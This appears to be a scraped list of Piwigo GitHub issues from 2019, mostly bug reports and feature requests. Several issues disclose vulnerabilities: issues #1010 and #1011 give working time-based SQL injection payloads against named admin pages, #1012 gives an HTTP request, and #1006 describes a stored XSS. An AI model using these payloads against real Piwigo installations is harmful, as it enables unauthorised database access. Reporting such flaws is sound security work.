This issue is related to #634 but specifically for notification to admins (while the mail queue is more for users about new content). Here the administrator does not really to receive all emails. Plugin Community has the exact same problem : the admin needs to be notified when a visitor posts some content, but don't need to be notified every 10 seconds "a new comment was posted".
We could implement an email notification only if nothing was sent in the last 24 hours + in the notification, Piwigo could add "and 42 other comments were posted since last notification".
|
too many emails on comment notification
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1033/comments
| 0 |
2019-06-14T13:35:26Z
|
2019-06-14T13:35:26Z
|
https://github.com/Piwigo/Piwigo/issues/1033
| 456,252,957 | 1,033 |
[
"Piwigo",
"Piwigo"
] |
Hi,
It's a very old issue.
if I use double quotation marks in the "Description" field of the image, then it breaks the page, I end up with the text of the description displayed in plain text at the top left of the web page, above all the content.
If I replace double quotation marks with single quotation marks then I do not have the problem anymore.
Best regards
|
Using double quotation marks in the "Description" field of the image breaks the page
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1032/comments
| 0 |
2019-06-12T19:35:01Z
|
2019-06-12T19:44:28Z
|
https://github.com/Piwigo/Piwigo/issues/1032
| 455,387,542 | 1,032 |
[
"Piwigo",
"Piwigo"
] |
Currently the breadcrumbs (path of current album, with link on each node) is in the page title. It's confusing, we should move it elsewhere.
Replace:
by:
|
[album manager] move breadcrumbs outside page title
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1031/comments
| 0 |
2019-06-11T14:37:34Z
|
2019-06-20T14:45:07Z
|
https://github.com/Piwigo/Piwigo/issues/1031
| 454,729,919 | 1,031 |
[
"Piwigo",
"Piwigo"
] |
The old logo should be replaced everywhere with the new logo.
|
replace Piwigo logo
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1029/comments
| 0 |
2019-06-04T09:43:53Z
|
2019-06-04T12:51:50Z
|
https://github.com/Piwigo/Piwigo/issues/1029
| 451,897,989 | 1,029 |
[
"Piwigo",
"Piwigo"
] |
https://cn.piwigo.org/forum/viewtopic.php?pid=112239#p112239
See above,about 8 years ago I use piwigo and found a bug,while I install zh_tw or zh_hk,if I set default language zh_cn it wont work,the language will be zh_tw or zh_hk.AFTER 8 YEARS I
'm back and the bug still be there.Any one can check it?
Priviosly I found it store the setting in db so after the zh_tw or zh_hk installed it will change the default lang setting.I don't know if it still be there.
|
zh lang problem,an EIGHT yesrs old bug.
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1028/comments
| 2 |
2019-06-03T09:49:23Z
|
2022-09-21T14:48:13Z
|
https://github.com/Piwigo/Piwigo/issues/1028
| 451,389,970 | 1,028 |
[
"Piwigo",
"Piwigo"
] |
When clicking download button on piwigo.org, it keeps returning 403 Forbidden. Can somebody fix the download link?
|
cannot download installer package
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1024/comments
| 4 |
2019-05-28T08:24:30Z
|
2019-06-09T04:34:14Z
|
https://github.com/Piwigo/Piwigo/issues/1024
| 449,129,602 | 1,024 |
[
"Piwigo",
"Piwigo"
] |
I have noticed that when using the web upload form in the gallery front end
(Piwigo)/index.php?/add_photos
that it does _not_ run synchronisation afterwards, so metadata like author, title keywords etc is not populated into the database.
If you upload with the admin interface
(piwigo)/admin.php?page=photos_add
Then it _does_ synchronise.
Is this normal, and if so, is there a reason for it?
Thanks.
|
No sync after upload
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1023/comments
| 0 |
2019-05-28T06:55:53Z
|
2019-05-28T06:55:53Z
|
https://github.com/Piwigo/Piwigo/issues/1023
| 449,093,936 | 1,023 |
[
"Piwigo",
"Piwigo"
] |
Would it be possible to have a password strength check like this
https://www.jqueryscript.net/form/Slim-Password-Strength-Indicator-Bar-Plugin-For-jQuery-passwordStrength-js.html
|
password strength
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1022/comments
| 0 |
2019-05-27T12:36:45Z
|
2019-05-27T12:36:45Z
|
https://github.com/Piwigo/Piwigo/issues/1022
| 448,836,422 | 1,022 |
[
"Piwigo",
"Piwigo"
] |
default installation 2.9.5 have vulnerable jquery - https://snyk.io/vuln/npm:jquery?lh=1.11.3&utm_source=lighthouse&utm_medium=ref&utm_campaign=audit
|
vulnerable jquery version 1.11.3 in 2.9.5
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1021/comments
| 2 |
2019-05-26T09:32:33Z
|
2023-12-11T15:01:00Z
|
https://github.com/Piwigo/Piwigo/issues/1021
| 448,547,504 | 1,021 |
[
"Piwigo",
"Piwigo"
] |
based on Samuel's mockup
|
new design for upload form
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1019/comments
| 1 |
2019-05-21T12:58:25Z
|
2019-05-31T09:30:53Z
|
https://github.com/Piwigo/Piwigo/issues/1019
| 446,604,716 | 1,019 |
[
"Piwigo",
"Piwigo"
] |
Please add support for svg. I think it is possible to generate preview for such file after upload. ImageMagic support it
|
svg support
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1018/comments
| 0 |
2019-05-18T20:43:01Z
|
2019-05-18T20:43:01Z
|
https://github.com/Piwigo/Piwigo/issues/1018
| 445,752,605 | 1,018 |
[
"Piwigo",
"Piwigo"
] |
Hi,
while trying to batch-import an archive of old photos, the Piwigo folder sync stumbled over several of my photos having weird exif dates. It appears that there are edge cases when my Android phone stored exif date-times such as `Date/Time Original: 2016:02:02 24:28:33.863` (note that it's later than 24:00:00) and then MySQL complains about this being invalid.
Strangely, this happened with two different Android phones over the years.
|
Mysql complains about "Incorrect datetime value" due to weird exif date
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1017/comments
| 3 |
2019-05-16T14:06:41Z
|
2019-05-16T14:14:34Z
|
https://github.com/Piwigo/Piwigo/issues/1017
| 444,977,107 | 1,017 |
[
"Piwigo",
"Piwigo"
] |
On the contrary to the web interface, the web API `pwg.session.login` rejects logins when the password is empty. Could this be changed so that it behaves as the web interface?
|
[web API] pwg.session.login rejects empty password
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1016/comments
| 1 |
2019-05-12T17:38:11Z
|
2019-08-26T13:55:28Z
|
https://github.com/Piwigo/Piwigo/issues/1016
| 443,128,552 | 1,016 |
[
"Piwigo",
"Piwigo"
] |
Based on Samuel's mockup
|
album manager redesign
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1014/comments
| 0 |
2019-05-09T11:55:18Z
|
2019-05-31T09:31:24Z
|
https://github.com/Piwigo/Piwigo/issues/1014
| 442,198,117 | 1,014 |
[
"Piwigo",
"Piwigo"
] |
Feature request:
Please allow the ability to export my photos with proper filenames/metadata from Piwigo. I really like Piwigo but I no longer wish to worry about having to run it. This would allow people to easily migrate their data elsewhere.
|
Please allow the ability to export my photos with proper filenames/metadata from Piwigo
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1013/comments
| 0 |
2019-05-08T20:44:39Z
|
2019-05-08T20:44:39Z
|
https://github.com/Piwigo/Piwigo/issues/1013
| 441,923,768 | 1,013 |
[
"Piwigo",
"Piwigo"
] |
hi，There is a vulnerability in the admin/batch_manager.php.
I didn't find the full trigger request in the browser, so I added the ‘&filter_category_use=on’ parameter to the request based on the code.
```
POST /admin.php?page=batch_manager HTTP/1.1
Host: 10.150.10.186:30002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30002/admin.php?page=batch_manager
Content-Type: application/x-www-form-urlencoded
Content-Length: 695
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=85b6lvm6f6nqvji17k04ugkdu0
Connection: close
Upgrade-Insecure-Requests: 1
start=0&pwg_token=438d258aad10f5b13c74425475163e4e&filter_prefilter_use=on&filter_prefilter=last_import&filter_duplicate
s_date=on&filter_category=1&tag_mode=AND&filter_level=03&filter_dimension_min_width=145&filter_dimension_max_width=2560&
filter_dimension_min_height=91&filter_dimension_max_height=1440&filter_dimension_min_ratio=1.29&filter_dimension_max_rat
io=1.77&filter_search_use=on&q=&filter_filesize_use=on&filter_category_use=on&filter_filesize_min=1.3&filter_filesize_ma
x=1.3&submitFilter=&selectAction=-1&associate=1&dissociate=1&author=&title=&date_creation=2019-05-08+00%3A00%3A00&level=
0®enerateSuccess=0®enerateError=0
```
|
SQL injection in admin/batch_manager.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1012/comments
| 1 |
2019-05-08T08:06:27Z
|
2019-08-12T12:53:25Z
|
https://github.com/Piwigo/Piwigo/issues/1012
| 441,604,948 | 1,012 |
[
"Piwigo",
"Piwigo"
] |
hi, I found two new vulnerabilities in admin/user_perm.php and admin/group_perm.php
1 :
request http://xx.xx.xx.xx/admin.php?page=user_perm&user_id=1 /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))``` or use 'sqlmap'
2：
same as the first, request /admin.php?page=user_perm&user_id=1 /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))``` or use 'sqlmap'
|
SQL injection in user/group permissions manager
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1011/comments
| 3 |
2019-05-07T10:09:41Z
|
2019-08-12T14:46:29Z
|
https://github.com/Piwigo/Piwigo/issues/1011
| 441,151,429 | 1,011 |
[
"Piwigo",
"Piwigo"
] |
Hi, I found a sql injection vulnerability in cat_move.php:
The 'move_categories' method is called when moving the album in '/admin.php?page=cat_move', but the method does not validate and filter the 'selection' and 'parent' parameters, thus causing the vulnerability.
**replace any of the following parameter in POST requests to reappear the vulnerability：**
```selection%5B%5D=1)` and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```
or
```parent=1 and if(ascii(substr(database(),1,1))>300,1,sleep(5));%23```
I use 'sqlmap' to reappear the vulnerability:
|
SQL injection in cat_move.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1010/comments
| 2 |
2019-05-06T10:00:18Z
|
2019-08-12T14:24:47Z
|
https://github.com/Piwigo/Piwigo/issues/1010
| 440,625,122 | 1,010 |
[
"Piwigo",
"Piwigo"
] |
An SQL injection has been discovered in the administration panel of Piwigo v2.9.5. The vulnerability allows remote attackers that are authenticated as administrator to inject SQL code into a query and display. This could result in full information disclosure.
The vulnerability was found in the 'delete' method in admin/group_list.php, because it does not validate and filter the '$group' parameter when it gets the parameters. And the vulnerability could query any data in the database and display it on the page.
In the figure, I obtained the encrypted password of the user table.
|
SQL injection in group_list.php
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1009/comments
| 1 |
2019-05-05T08:40:59Z
|
2019-08-12T12:26:39Z
|
https://github.com/Piwigo/Piwigo/issues/1009
| 440,418,682 | 1,009 |
[
"Piwigo",
"Piwigo"
] |
thank you
|
When do you perfectly support mysql8.0?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1008/comments
| 0 |
2019-05-04T19:03:17Z
|
2022-05-11T10:34:23Z
|
https://github.com/Piwigo/Piwigo/issues/1008
| 440,358,855 | 1,008 |
[
"Piwigo",
"Piwigo"
] |
Running Piwigo piwigo-2.9.5 on PHP 7.2.16 and 7.2.18. I keep getting this fatal error arising from an overflow of preg_replace() and preg_match() until it exhausts the server resources
Update: I suspect it is a str2url with preg_replace()
Is this the output on the page:
```
Notice: preg_replace(): Matched, but too many substrings in /public_html/photos/include/smarty/libs/Smarty.class.php on line 1185
Notice: preg_match(): Matched, but too many substrings in /public_html/photos/include/functions_url.inc.php on line 649
Notice: preg_replace(): Matched, but too many substrings in /public_html/photos/include/smarty/libs/Smarty.class.php on line 1185
.
.
.
Fatal error: Out of memory (allocated 2097152) (tried to allocate 18446744073709519128 bytes) in /public_html/photos/include/smarty/libs/Smarty.class.php on line 1185
```
|
Notice: preg_replace(): Matched, but too many substrings
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1007/comments
| 0 |
2019-05-03T17:55:35Z
|
2019-05-04T04:07:20Z
|
https://github.com/Piwigo/Piwigo/issues/1007
| 440,155,138 | 1,007 |
[
"Piwigo",
"Piwigo"
] |
# Summary
The parameter description of image is not sanitized after querying from database, so attackers can create a stored XSS attack.
# POC
1. In the description of the image, create a malicious code:
<img src="https://i.imgur.com/VeiR2vL.png">
2. Clicking on the image:
<img src="https://i.imgur.com/fZajgUH.png">
|
Stored XSS in description image
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1006/comments
| 1 |
2019-04-29T07:50:18Z
|
2019-08-09T12:57:08Z
|
https://github.com/Piwigo/Piwigo/issues/1006
| 438,189,083 | 1,006 |
[
"Piwigo",
"Piwigo"
] |
I have this error when manually ordering categories in "...admin.php?page=cat_list" :
`Fatal error: Uncaught Error: Call to undefined function save_categories_order() in .../admin/cat_list.php:196 Stack trace: #0 .../admin.php(312): include() #1 {main} thrown in .../admin/cat_list.php on line 196`
The function save_categories_order() don't exist en piwigo (functions.php).
It seems possible to rely on this function in 644 "update_global_rank" to create it.
Phil
|
Fatal error when manually ordering categories
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1005/comments
| 4 |
2019-04-24T11:38:09Z
|
2019-08-13T13:50:44Z
|
https://github.com/Piwigo/Piwigo/issues/1005
| 436,646,932 | 1,005 |
[
"Piwigo",
"Piwigo"
] |
Using smartPocket in Android phone give me this error:
`"Uncaught TypeError: Cannot read property 'toString' of null " in 1b3aqxj.js:formatted:12049`.
I did a little of debugging and I found that the error is here `e.navigator.userAgent.match(/Android (\d+.\d+)/)` because the userAgent is a string like `"Mozilla/5.0 (Linux; Android 9; moto x4) AppleWebKi…e Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36" `so the Android version doesn't have a decimal value and the match function return null so there is an error.
|
Error using Piwigo from Android with smartpocket theme
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1004/comments
| 3 |
2019-04-22T09:29:20Z
|
2019-07-12T12:26:45Z
|
https://github.com/Piwigo/Piwigo/issues/1004
| 435,665,278 | 1,004 |
[
"Piwigo",
"Piwigo"
] |
Getting error `# photos can not be regenerated` in Batch -> Generate Multiple Batch Size Images. Image sizes not being generated on upload.
From the php_errors.log file:
```
[13-Apr-2019 18:48:48 America/New_York] PHP Fatal error: Uncaught exception 'ImagickException' with message 'unable to open image `././upload/2019/04/13/20190413172232-f087ab9d.jpg': No such file or directory @ error/blob.c/OpenBlob/2702' in ...\piwigo\admin\include\image.class.php:415
Stack trace:
#0 ...\piwigo\admin\include\image.class.php(415): Imagick->__construct('././upload/2...')
#1 ...\piwigo\admin\include\image.class.php(87): image_imagick->__construct('././upload/2...')
#2 ...\piwigo\i.php(524): pwg_image->__construct('././upload/2...')
#3 {main}
thrown in ...\piwigo\admin\include\image.class.php on line 415
```
Installed on Windows 10 x64 with Apache 2.4 and PHP 5.6.2.
|
photos can not be regenerated
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1003/comments
| 1 |
2019-04-13T23:06:04Z
|
2020-05-13T20:41:35Z
|
https://github.com/Piwigo/Piwigo/issues/1003
| 432,910,215 | 1,003 |
[
"Piwigo",
"Piwigo"
] |
Based on Samuel's mockup
|
dashboard redesign
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1002/comments
| 1 |
2019-04-12T13:30:18Z
|
2019-05-31T09:57:47Z
|
https://github.com/Piwigo/Piwigo/issues/1002
| 432,567,499 | 1,002 |
[
"Piwigo",
"Piwigo"
] |
After upgrading to Piwigo 2.9.5,
the tag page crashes when selecting "Group by letters", however the tag-cloud works fine.
How to reproduce:
- Click on tags
- Click on "Group by letters" in the upper right corner
Fatal error: Uncaught Error: Call to undefined function mb_strtoupper() in /var/www/html/tags.php:104 Stack trace: #0 {main} thrown in /var/www/html/tags.php on line 104
|
PHP fatal error in tags.php?display_mode=letters
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1001/comments
| 2 |
2019-04-11T05:35:09Z
|
2019-04-24T15:18:46Z
|
https://github.com/Piwigo/Piwigo/issues/1001
| 431,837,705 | 1,001 |
[
"Piwigo",
"Piwigo"
] |
Piwigo is the best Web Gallery I've met. but I can't generate tif thumbnail via the latest version.
Could anybody kindly give me some help ?
piwigo version: 2.9.5
OS: CentOS 7
env : httpd + php 5.4.16 via both php-gd and php-pecl-imagick installed
cat local/config/config.inc.php
<?php
$conf['picture_ext'] = array('jpg','jpeg','png','gif','tif');
?>
my tif file size is about 30M
|
can't generate tif thumbnail
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1000/comments
| 0 |
2019-04-09T12:47:08Z
|
2019-04-09T12:47:08Z
|
https://github.com/Piwigo/Piwigo/issues/1000
| 430,947,866 | 1,000 |
[
"Piwigo",
"Piwigo"
] |
As proposed by @dadap in 65ac2721791a040ea0da6833c11022fb2c06533c we would need to switch to `datatables.ajax` instead of `datatables.ajaxSource` but this time with more test on pagination and filtering.
|
user list : use datatables.ajax instead of datatables.ajaxsource
|
https://api.github.com/repos/Piwigo/Piwigo/issues/999/comments
| 2 |
2019-04-02T12:21:57Z
|
2020-11-05T14:59:32Z
|
https://github.com/Piwigo/Piwigo/issues/999
| 428,195,466 | 999 |
[
"Piwigo",
"Piwigo"
] |
See https://github.com/Piwigo/Piwigo-Java/issues/6
The problem is not solved on Piwigo Remote Sync side, so we have to solve it on Piwigo side (for now, at least)
|
Piwigo 2.9 fails with Piwigo Remote Sync
|
https://api.github.com/repos/Piwigo/Piwigo/issues/998/comments
| 0 |
2019-04-02T09:32:58Z
|
2019-04-02T09:36:21Z
|
https://github.com/Piwigo/Piwigo/issues/998
| 428,119,674 | 998 |
[
"Piwigo",
"Piwigo"
] |
**Versions**
Release : head of master branch
MySQL: 8.0.11
PHP: 7.2.4
**Step to reproduce**
1 Install piwigo on a newly created database without any prefix for table name
2 Add a picture
3 With menu on left got to administration page
**Results**
:heavy_check_mark:Step 1: OK
:heavy_check_mark:Step 2: OK
:x:Step 3: KO. Following error message appeared in the browser
Piwigo a rencontré une erreur non récupérable
[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'groups' at line 2
SELECT COUNT(*)
FROM groups
;
#1 my_error D:\www_root\piwigo_src\include\dblayer\functions_mysqli.inc.php(147)
#2 pwg_query D:\www_root\piwigo_src\admin\intro.php(190)
#3 include D:\www_root\piwigo_src\admin.php(324)
|
administration page failed loading when piwigo is installad without any table prefix
|
https://api.github.com/repos/Piwigo/Piwigo/issues/996/comments
| 7 |
2019-03-31T15:57:11Z
|
2019-06-28T16:08:08Z
|
https://github.com/Piwigo/Piwigo/issues/996
| 427,411,893 | 996 |
[
"Piwigo",
"Piwigo"
] |
Today, it is not possible to collect a list of albums and sub-albums in a given sort order. This prevents users of third-party apps to select the way they wish to browse their photolibrary. Would it be possible to add a sort option to the API method `pwg.categories.getList`?
|
[web API] pwg.categories.getList — sort option?
|
https://api.github.com/repos/Piwigo/Piwigo/issues/994/comments
| 0 |
2019-03-24T19:34:36Z
|
2019-05-12T17:35:22Z
|
https://github.com/Piwigo/Piwigo/issues/994
| 424,650,879 | 994 |
[
"Piwigo",
"Piwigo"
] |
This is not done.
|
Password is sent in plain text after user registration
|
https://api.github.com/repos/Piwigo/Piwigo/issues/993/comments
| 1 |
2019-03-23T23:30:00Z
|
2019-03-24T19:49:06Z
|
https://github.com/Piwigo/Piwigo/issues/993
| 424,556,147 | 993 |
[
"Piwigo",
"Piwigo"
] |
In the administration, menus (menubar) have bad alignments. For example, "Configuration" is on the line and the right icons (icon-down-open) are not right-aligned.
I modified my theme.css file (in admin / default / themes /) by adding this line in 798
#menubar dl dt [class*="icon-"]:before { float: left; margin: 0.2em 0.5em 0 6px;}
|
css #menubar admin
|
https://api.github.com/repos/Piwigo/Piwigo/issues/992/comments
| 3 |
2019-03-20T18:27:30Z
|
2019-04-22T13:42:53Z
|
https://github.com/Piwigo/Piwigo/issues/992
| 423,408,188 | 992 |
[
"Piwigo",
"Piwigo"
] |
Hi,
the div "titrePage" in "admin.php?page=plugins" has a style set to hidden. In the tab "Other plugins available"
I do not understand why because in this case we have not access to the search or other options.
I hacked the file "admin/themes/default/template/admin.tpl" at the line 42 like this, `jQuery('h2, .titrePage').show();` I changed the hide function by show and apparently it is displayed without any problem. To see if there's not sides effects.
Regards
|
div titrePage hidden !
|
https://api.github.com/repos/Piwigo/Piwigo/issues/991/comments
| 1 |
2019-03-19T13:20:45Z
|
2019-03-22T11:27:38Z
|
https://github.com/Piwigo/Piwigo/issues/991
| 422,728,088 | 991 |
[
"Piwigo",
"Piwigo"
] |
It would be interesting to choose a different watermark, as needed, on albums and / or photos.
The must is to be able to put a watermark on an album and a different watermark on one or photos of the album and be able to do the opposite when the majority of the photos of the album must have the same.
------------
Il serait intéressant de pouvoir choisir un watermark différent, suivant les besoins, sur les albums et/ou sur les photos.
Le must serait de pouvoir mettre un watermark sur un album et un watermark différent sur un ou des photos de l'album et pouvoir faire l'inverse lorsque la majorité des photos de l'album doit avoir le même.
|
Watermark
|
https://api.github.com/repos/Piwigo/Piwigo/issues/990/comments
| 1 |
2019-03-18T19:16:19Z
|
2023-01-29T09:12:45Z
|
https://github.com/Piwigo/Piwigo/issues/990
| 422,390,150 | 990 |
[
"Piwigo",
"Piwigo"
] |
In general when we are editing the button and other recording options are at the bottom of the page.
It would be nice to find them at the top of the page. This will sometimes avoid forgetting to validate the changes.
Nice job guys :-)
|
Button save settings
|
https://api.github.com/repos/Piwigo/Piwigo/issues/989/comments
| 0 |
2019-03-18T17:37:51Z
|
2019-03-18T17:37:51Z
|
https://github.com/Piwigo/Piwigo/issues/989
| 422,348,418 | 989 |
[
"Piwigo",
"Piwigo"
] |
I ran into this message after upgrading to php 7.3 : Deprecated function: strpos(): Non-string needles will be interpreted as strings in the future. Use an explicit chr() call to preserve the current behavior.
The fix is to change the file jshrink.class.php :
- line 195
if(strpos('(-+{[@', chr($this->b)) !== false)
- line 254
if(($this->b == '/' && strpos('(,=:[!&|?', chr($this->a)) !== false))
Regards
Bruno
|
strpos() is deprecated in php 7.3
|
https://api.github.com/repos/Piwigo/Piwigo/issues/988/comments
| 13 |
2019-03-15T18:07:51Z
|
2019-10-09T17:01:25Z
|
https://github.com/Piwigo/Piwigo/issues/988
| 421,643,269 | 988 |
[
"Piwigo",
"Piwigo"
] |
Based on design work by Samuel, implement the new administration pages, starting by the "common elements" : header/menubar/footer.
|
refresh design on admin pages, common elements
|
https://api.github.com/repos/Piwigo/Piwigo/issues/987/comments
| 0 |
2019-03-15T11:05:10Z
|
2019-05-31T10:09:21Z
|
https://github.com/Piwigo/Piwigo/issues/987
| 421,465,415 | 987 |
[
"Piwigo",
"Piwigo"
] |
--
|
https://api.github.com/repos/Piwigo/Piwigo/issues/986/comments
| 0 |
2019-03-13T14:21:41Z
|
2019-03-13T14:31:16Z
|
https://github.com/Piwigo/Piwigo/issues/986
| 420,526,861 | 986 |
|
[
"Piwigo",
"Piwigo"
] |
If Piwigo is installed with swedish language selected, the setup will fail due to a syntax error in the swedish language files.
The bug is in the TakeATour repo and there is a pull request created with a fix.
|
Not possible to install with language set to Swedish
|
https://api.github.com/repos/Piwigo/Piwigo/issues/985/comments
| 0 |
2019-03-13T12:53:59Z
|
2019-03-13T12:55:51Z
|
https://github.com/Piwigo/Piwigo/issues/985
| 420,483,919 | 985 |
[
"Piwigo",
"Piwigo"
] |
Currently I have a strange issue: on the main page of my Piwigo gallery the whole main menu (albums / explore / user-menu) doesn t work. Where can I find log files that can help me to identify this issue?
My system:
Piwigo 2.9.4
OS: Ubuntu 18.04
PHP: 7.2.16-1+ubuntu18.04.1+deb.sury.org+1 (Info anzeigen) [2019-03-10 09:14:30]
MySQL: 5.7.25-0ubuntu0.18.04.2 [2019-03-10 09:14:30]
Grafikbibliothek: ImageMagick 6.9.7-4
|
main menu not working
|
https://api.github.com/repos/Piwigo/Piwigo/issues/984/comments
| 1 |
2019-03-10T08:20:05Z
|
2019-03-10T08:53:59Z
|
https://github.com/Piwigo/Piwigo/issues/984
| 419,159,427 | 984 |
[
"Piwigo",
"Piwigo"
] |
When uploading files and syncing the metadata, Piwigo seems only to be checking the DateCreated IPTC field and not using the TimeCreated field along with it. As a result, in the database the date_creation field on the images table is midnight (00:00:00).
For example, here's a file with some IPTC fields set:
Notice the date/time of 02/01/2019 18:12:00. When the file is uploaded to Piwigo, the date is missing the time:
But the read metadata plugin properly "sees" the time:
It would be nice if the time is loaded into the date_creation field along with the date.
|
[metadata] TimeCreated not used when importing DateCreated IPTC field
|
https://api.github.com/repos/Piwigo/Piwigo/issues/983/comments
| 1 |
2019-02-24T23:46:17Z
|
2019-02-24T23:57:06Z
|
https://github.com/Piwigo/Piwigo/issues/983
| 413,884,654 | 983 |
[
"Piwigo",
"Piwigo"
] |
Hello,
In case of reverse proxy SSL, lot function doesn't work properly.
To fix it, I applied these change in ./include/functions_url.inc.php function get_absolute_root_url
Detect SSL :
```
if (isset($_SERVER['HTTPS']) &&
((strtolower($_SERVER['HTTPS']) == 'on') or ($_SERVER['HTTPS'] == 1)))
{
$is_https = true;
$url .= 'https://';
}
```
to
```
if (isset($_SERVER['HTTPS']) && ((strtolower($_SERVER['HTTPS']) == 'on') or ($_SERVER['HTTPS'] == 1)) or ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'))
{
$is_https = true;
$url .= 'https://';
}
```
AND ignore port change in this case:
```
if ( (!$is_https && $_SERVER['SERVER_PORT'] != 80)
||($is_https && $_SERVER['SERVER_PORT'] != 443))
{
```
```
if ( ((!$is_https && $_SERVER['SERVER_PORT'] != 80)
||($is_https && $_SERVER['SERVER_PORT'] != 443)) && (!$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'))
{
```
Regards,
Thomas.
|
ssl reverse proxy
|
https://api.github.com/repos/Piwigo/Piwigo/issues/982/comments
| 22 |
2019-02-24T10:55:54Z
|
2023-06-19T07:17:36Z
|
https://github.com/Piwigo/Piwigo/issues/982
| 413,808,899 | 982 |
[
"Piwigo",
"Piwigo"
] |
As suggested by @plegall it would be very useful to be able to provide a list of image Ids instead of only one when calling the API method `pwg.images.getInfo`. For example, on mobile apps:
- this method is called many times for displaying albums at start. See e.g. https://github.com/Piwigo/Piwigo-Mobile/issues/228
- this method would also have to be called many times for sorting images in an album according to their rating scores. See e.g. https://github.com/Piwigo/Piwigo-Mobile/issues/287
|
[web API] pwg.images.getInfo - parameter `image_id` as a list
|
https://api.github.com/repos/Piwigo/Piwigo/issues/981/comments
| 14 |
2019-02-17T17:18:58Z
|
2021-01-07T19:22:35Z
|
https://github.com/Piwigo/Piwigo/issues/981
| 411,211,042 | 981 |
[
"Piwigo",
"Piwigo"
] |
At the end of function `add_uploaded_file` (file `admin/include/functions_upload.inc.php`) we force generation of the thumbnail. It can't work for a PDF file (or any file using a representative picture), because we don't provide the`representative_ext` to Derivatives manager. We should provide it.
By the way, it would be smarter to force generation on the Medium size. Then the upload form will HTTP request the thumbnail, which Piwigo will generate from the Medium.
|
upload form, no cache for file with representative picture
|
https://api.github.com/repos/Piwigo/Piwigo/issues/979/comments
| 0 |
2019-02-13T14:36:23Z
|
2019-03-08T14:17:21Z
|
https://github.com/Piwigo/Piwigo/issues/979
| 409,835,035 | 979 |
[
"Piwigo",
"Piwigo"
] |
When accessing to my gallery, this message appear:
"Fatal error: Cannot redeclare batch_download_init() on line 79"
How can I log in to dashboard/administration?
|
Fatal error: Cannot redeclare batch_download_init()
|
https://api.github.com/repos/Piwigo/Piwigo/issues/978/comments
| 0 |
2019-02-13T06:18:23Z
|
2019-02-13T09:10:26Z
|
https://github.com/Piwigo/Piwigo/issues/978
| 409,645,373 | 978 |
[
"Piwigo",
"Piwigo"
] |
After merging PR #973 I've run migration task https://github.com/Piwigo/Piwigo/blob/master/install/db/153-database.php and I got some warnings:
```
1 upgrades to apply
=== upgrade 153
Notice: Undefined index: picture_ext in local/config/config.inc.php on line 32
Warning: array_merge(): Argument #1 is not an array in local/config/config.inc.php on line 34
Show date period of an album
```
Indeed, in my local configuration I have:
```
$conf['file_ext'] = array_merge(
$conf['picture_ext'],
array('pdf', 'tiff', 'tif', 'xls', 'xlsx', 'mp4')
);
```
I rely on `$conf['picture_ext']` which is not available at this time, if default config was not loaded.
|
upgrade task 153 won't work with specific local config settings
|
https://api.github.com/repos/Piwigo/Piwigo/issues/977/comments
| 0 |
2019-02-11T14:58:37Z
|
2019-02-11T14:59:13Z
|
https://github.com/Piwigo/Piwigo/issues/977
| 408,821,217 | 977 |
[
"Piwigo",
"Piwigo"
] |
I was working on issue #957 to allow Piwigo to use External ImageMagick even if GD is not installed.
I modified `admin/include/image.class.php` by removing condition `$extension != 'gif'`.
Then I added at line 522:
```
if ('gif' == strtolower(get_extension($source_filepath)))
{
$command .= '[0]';
}
```
This instruction is to select the first frame of the gif to get the right dimension.
Then at the file `admin/include/photos_add_direct_prepare.inc.php`, I put in comments : `$setup_errors[] = l10n('GD library is missing');`
This is working perfectly. But a another problem comes when the bootstrap theme tries to crop and resize the gif.
I found some commands to crop and resize correctly:
`convert example.gif -coalesce -repage 0x0 -crop widthxheight +x+y +repage -resize 260x179! example.gif`
We can also use gifsicle to do the job :
`gifsicle --crop x,y+widthxheight --resize-fit 260x179 example.gif > example_cropped.gif
`
Some gifs can be heavy so we should try to reduce there weight (Gifsicle is better for reducing weight).
|
Unable to crop animated gif when gd is not installed
|
https://api.github.com/repos/Piwigo/Piwigo/issues/976/comments
| 0 |
2019-02-08T11:27:18Z
|
2019-02-08T11:27:18Z
|
https://github.com/Piwigo/Piwigo/issues/976
| 408,112,018 | 976 |
[
"Piwigo",
"Piwigo"
] |
